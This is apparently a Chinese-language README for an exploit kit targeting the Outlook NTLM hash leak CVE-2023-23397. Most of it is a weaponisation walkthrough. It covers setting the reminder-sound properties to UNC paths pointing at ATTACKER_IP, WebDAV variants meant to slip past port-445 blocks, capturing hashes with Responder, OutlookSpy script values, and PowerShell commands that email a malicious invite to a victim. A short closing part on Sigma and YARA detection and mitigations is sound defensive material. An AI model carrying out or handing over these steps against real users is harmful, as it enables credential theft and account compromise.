CVE-2023-23397 Outlook NTLM 哈希泄露漏洞的利用程序,通过恶意日历邀请实现攻击。包含 PowerShell 武器化、Responder 集成以及用于事件响应的检测规则。
要利用此漏洞,攻击者必须创建一封恶意日历邀请,其中包含对声音文件的引用,并指向攻击者机器上网络共享中的文件。在底层,Outlook 邮件将声音文件的引用存储在一个名为“PidLidReminderFileParameter”的内部参数中。为了确保我们嵌入在恶意邮件中的音频优先于受害者的默认提醒配置,我们还需要将另一个名为“PidLidReminderOverride”的参数设置为 true。
要将“PidLidReminderFileParameter”属性设置为指向网络共享,攻击者可以指定通用命名约定(UNC)路径,而不是本地文件。UNC 用于 Windows 操作系统中查找网络资源(文件、打印机、共享文档)。这些路径由双反斜杠、托管资源的计算机的 IP 地址或名称、共享名称和文件名组成。例如: \ATTACKER_IP\foo\bar.wav
当受害者收到恶意邮件时,UNC 路径会将他们引导至该 SMB 共享,从而触发该漏洞。这会导致系统针对攻击者的机器启动 NTLM 身份验证过程,泄露 Net-NTLMv2 哈希,攻击者之后可以尝试破解该哈希。 如果由于某种原因 SMB 协议不是一个可行的选择,非服务器版本的 Windows 将接受使用指向 80 或 443 端口的 UNC 路径,并使用 HTTP 从支持 WebDAV 的 Web 服务器检索文件。此类 UNC 路径的语法如下:
\ATTACKER_IP@80\foo\bar.wav OR \ATTACKER_IP@443\foo\bar.wav
这可能有助于绕过阻止到 445 端口(SMB)的出站连接的防火墙限制。
攻击阶段 让我们构造一封包含约会的恶意电子邮件,并设置触发它所需的参数。
设置 Responder: 由于我们预期受害者会针对攻击者的 445 端口触发身份验证尝试,我们将设置 Responder 来处理身份验证过程并为我们捕获 NetNTLM 哈希。如果你不熟悉 Responder,它只会模拟一个 SMB 服务器,并捕获针对它的任何身份验证尝试。 responder -I
尝试手工构造恶意约会:
OutlookSpy: 即使 Outlook 无法将提醒的声音文件设置为 UNC 路径,我们也可以使用 OutlookSpy 插件来实现这一点。该插件允许你直接访问 Outlook 的所有内部参数,包括提醒的声音文件。 在继续之前,你需要手动安装它。运行安装程序前,请务必关闭 Outlook。
我们可以使用脚本选项卡和以下脚本将参数更改为所需的值: AppointmentItem.ReminderOverrideDefault = true AppointmentItem.ReminderPlaySound = true AppointmentItem.ReminderSoundFile = "\<attacker's IP><share_folder>\file.wav"
务必点击“运行”按钮以应用更改。你可以返回“属性”选项卡检查值是否已正确更改。最后,保存你的约会以将其添加到日历中,确保提醒设置为“0 分钟”,并且约会与当前时间和日期匹配,因为我们希望它立即触发。
如果一切按预期进行,你应该会立即看到一个提醒弹出。并且你应该会在攻击者机器上的 Responder 控制台中收到身份验证尝试。
武器化 总结利用该漏洞所需的步骤,攻击者需要:
步骤 3 和 4 已经由 Responder 为我们处理,但手工制作恶意约会有点繁琐。幸运的是,有几个现成的漏洞利用工具可供我们创建和发送恶意约会,本仓库中提供了其中之一。
此 PowerShell 漏洞利用脚本利用 Outlook 的 COM 对象来轻松构建邮件和约会。它包含几个我们可以使用的函数: Save-CalendarNTLMLeak:此函数创建一个恶意约会并将其保存到你自己的日历中。适用于测试目的。 Send-CalendarNTLMLeak:此函数创建一个恶意约会并通过电子邮件将其发送给受害者。邮件邀请将从你 Outlook 当前的默认账户发送。
使用漏洞利用: 在 PowerShell 中,你可以使用“Import-Module”cmdlet 导入漏洞利用脚本的函数。之后,这两个函数将在你当前的 PowerShell 中可用。要发送包含恶意约会的电子邮件,只需运行以下命令:
PS C:\Users\User\Desktop> Import-Module .\CVE-2023-23397.ps1 PS C:\Users\User\Desktop> Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\ATTACKER_IP\foo\bar.wav" -meetingsubject "Random Meeting" -meetingbody "This is just a regular meeting invitation."
由于该漏洞利用使用当前 Outlook 实例发送电子邮件,你可能会收到几个警报,要求你授予脚本代表你发送电子邮件的权限。请务必根据需要多次按下“允许”。勾选“允许访问 10 分钟”复选框也有助于加快此过程。
检测与缓解
检测: 既然我们已经完成了将 CVE-2023-23397 Outlook 攻击武器化的步骤,接下来让我们讨论几种在网络中检测此攻击的方法。每次攻击都会留下模式或痕迹,可以帮助检测团队识别威胁。这一切都取决于网络可见性以及所收集的、能提供极其重要可见性的日志源。
Sigma 规则: 随附的 Sigma 规则可检测 Outlook 发起与 WebDav 或 SMB 共享的连接,表明处于后渗透阶段。此 Sigma 规则旨在检测“svchost.exe”生成带有类似 C:\windows\system32\davclnt.dll,DavSetCookie 命令参数的“rundll32.exe”,这表示后渗透/数据渗出阶段。这些 SIGMA 规则可以转换为检测和监控工具,用于在网络中搜寻可疑的日志活动。
Yara 规则: YARA 规则在磁盘上的文件中查找模式。随附的社区 YARA 规则可用于检测磁盘上带有上文讨论的两个属性的可疑 MSG 文件。
Microsoft 已发布了一个 PowerShell 脚本“CVE-2023-23397.ps1”,该脚本将检查 Exchange 邮件项目(如邮件、日历和任务),以查看是否发现与 CVE-2023-23397 攻击相关的 IOC。该脚本可用于审计和清理检测到的项目。
缓解措施: 该漏洞正在现实环境中被广泛利用。Microsoft 建议的用于缓解和避免此攻击的部分推荐措施如下: